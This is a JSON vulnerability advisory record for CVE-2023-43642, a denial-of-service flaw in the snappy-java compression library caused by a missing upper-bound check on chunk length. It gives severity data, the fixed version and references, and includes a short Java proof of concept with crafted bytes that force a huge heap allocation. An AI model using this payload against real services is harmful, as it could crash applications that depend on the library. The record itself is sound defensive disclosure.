{"id":"CVE-2023-43642","aliases":["GHSA-55g7-9cwv-5qfv"],"url":"https://o3.security/vulnerability/CVE-2023-43642","summary":"Missing upper bound check on chunk length in snappy-java ","details":"### Summary\n\nsnappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. \n\n### Scope\n\nAll versions of snappy-java including the latest released version 1.1.10.3.  A fix is applied in 1.1.10.4\n\n### Details\nWhile performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an  java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.\n\n### PoC\nCompile and run the following code:\n```\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n        byte[] out = new byte[50];\n        try {\n            in.read(out);\n        }\n        catch (Exception ignored) {\n        }\n    }\n}\n```\n\n### Impact\nDenial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM.\n\n### Credits\nJan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. \n\nWe kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.","published":"2023-09-25T19:03:49.145Z","modified":"2026-08-12T14:51:11.282783Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"org.xerial.snappy:snappy-java","fixedVersion":"1.1.10.4"}],"fix":{"url":"https://github.com/xerial/snappy-java/commit/9f8c3cf74223ed0a8a834134be9c917b9f10ceb5","label":"xerial/snappy-java@9f8c3cf"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/43xxx/CVE-2023-43642.json"},{"type":"ADVISORY","url":"https://github.com/xerial/snappy-java/security/advisories/GHSA-55g7-9cwv-5qfv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43642"},{"type":"FIX","url":"https://github.com/xerial/snappy-java/commit/9f8c3cf74223ed0a8a834134be9c917b9f10ceb5"},{"type":"PACKAGE","url":"https://github.com/xerial/snappy-java"},{"type":"WEB","url":"https://github.com/xerial/snappy-java/releases/tag/v1.1.10.4"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T14:51:11.282783Z"}}